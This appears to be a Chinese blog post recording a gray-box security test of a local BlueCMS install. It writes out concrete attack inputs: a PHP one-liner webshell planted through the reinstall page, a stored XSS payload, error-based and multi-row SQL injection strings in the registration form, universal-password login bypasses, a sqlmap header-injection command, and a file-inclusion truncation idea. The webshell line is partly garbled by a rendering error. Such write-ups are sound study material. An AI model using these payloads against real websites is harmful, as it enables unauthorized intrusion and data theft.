bluecms灰盒测试
bluecms灰盒测试
思路:寻找功能点
\
我们安装好bluecms
1.重复安装漏洞
我们直接再次访问install
发现可以重复安装!
1.这代表,我们能破坏网站
2.可以进入后台
我们可以实施站库分离,我们没用改管理员的账号密码,改了数据库的连接地址
网站,内网比外网弱,后台比前台弱
我们知道他在php5.5以上在可以执行在双引号中出现这个就**${}**就会被当做代码执行
如:
<?php
echo "${phpinfo()}";
?>
我们在安装的时候数据库名字进行一句话木马传参
我们输入KaTeX parse error: Expected '}', got 'EOF' at end of input: {_REQUEST[a]}
由于我本地并没安装其他高版本的php环境,就这样叭
前端
1.
我们在注册的地方
可以**出所有用户名
我们在用burp抓包在邮箱处插入
<script>alert(1)</script>
发现是一个存储型XSS
2.
我们发现注册的时候,存在sql注入:如图
2020/5/28 12:54 INSERT INTO blue_user (user_id, user_name, pwd, email, reg_time, last_login_time) VALUES ('', '98798798', md5('98798798'), 'aaa@qq.com', '1590641655', '1590641655')
我们用源代码审计工具中的数据库监控,发现我们可以去尝试进行sql注入
2020/5/28 12:54 INSERT INTO blue_user (user_id, user_name, pwd, email, reg_time, last_login_time) VALUES ('', '98798798', md5('98798798'), '98798798' or updatexml(1,concat(0x7e,(select database())),1),1,1)#@qq.com', '1590641655', '1590641655')
在数据库执行,发现执行成功
我们在抓包在改数据,
我们马上尝试直接抓包尝试注入
我们打开审计工具,发现存在魔术引号,把我们的’给转义了
2020/5/28 13:29 INSERT INTO blue_user (user_id, user_name, pwd, email, reg_time, last_login_time) VALUES ('', 'admin175', md5('admin175'), 'ad\' or updatexml(1,concat(0x7e,(select database())),1),1,1)#@aaa@qq.com', '1590643772', '1590643772')
我们用宽字节的方法,发现,报错了,无法插入
如果用盲注的话,实在是太头痛了,我们要注册大量账号,而且需要输入验证码
我们用另一种骚操作,尝试能否进入多条数据进行插入,因为存在魔术引号,所以,我们用户名只能进行16进制的编码
INSERT INTO blue_user (user_id, user_name, pwd, email, reg_time, last_login_time) VALUES ('', 'asdasd', md5('98798798'), '98798798' ,1,1),(100,0x6c696261696c69626169,md5(123456),(select database()),1,1)#@qq.com', '1590641655', '1590641655')
3.
我们尝试万能密码登陆
居然登陆成功了
4.
一般情况,一个地方有漏洞,那么其他地方同样会存在类似的漏洞
我们进入后台尝试万能密码登陆
username栏不存在
那么密码栏呢?
成功登陆
后台
1.
我们可以直接备份文件,然后,在本地搜索到文件,直接对外访问,发现可以直接访问到这个备份文件
前端
1.
我们思考魔术引号是会去影响GET,POST,COOKIE传参,但是$_SERVER是不会被影响的,我们想这个cms是不是存在头注入,比如X-Forwarded-For,或者以下都可以
$_SERVER[‘HTTP_REFERER’]
$_SERVER[“HTTP_USER_AGENT”]
$_SERVER[“REMOTE_ADDR”]
我们再次查询
我们发现,法师的审计系统看不到中文,我们直接查看源文件,发现它是一个评论的页面,我们访问过去
我们直接访问过去是一片空白,我们发布一条新闻,重新搞一搞,发现下面有评论系统
我们首先想到的是会不会存在XSS啊
我们插入
我们右键检查
发现<>都被实体化了
我们查看源代码,发现存在**htmlspecialchars()**函数
我们尝试用事件型触发
好像是不存在xss注入
没关系,我们已经知道
这里是没经过任何的处理,直接拼接进数据库的,我们尝试,能否进行头注入
比如X-Forwarded-For
我们直接抓包进行改包,利用sqlmap进行跑包
我们拼接的时候,记住要弥补后面的值,然后进行传参
很快乐,跑出来了
我们主要是需要调高等级–level 3才可以
python sqlmap.py -r 1.txt --level 3
2.文件包含漏洞
我们修改本地文件
直接输出这个东西看看是什么,然后抓包查看,它是一个路径,文件包含的路径,而这个路径中间的参数我们可以去控制,我们可以去截断这个文件,能实现任意文件包含的效果
上一篇: Shell编程规范与变量揭秘
下一篇: 白盒测试理解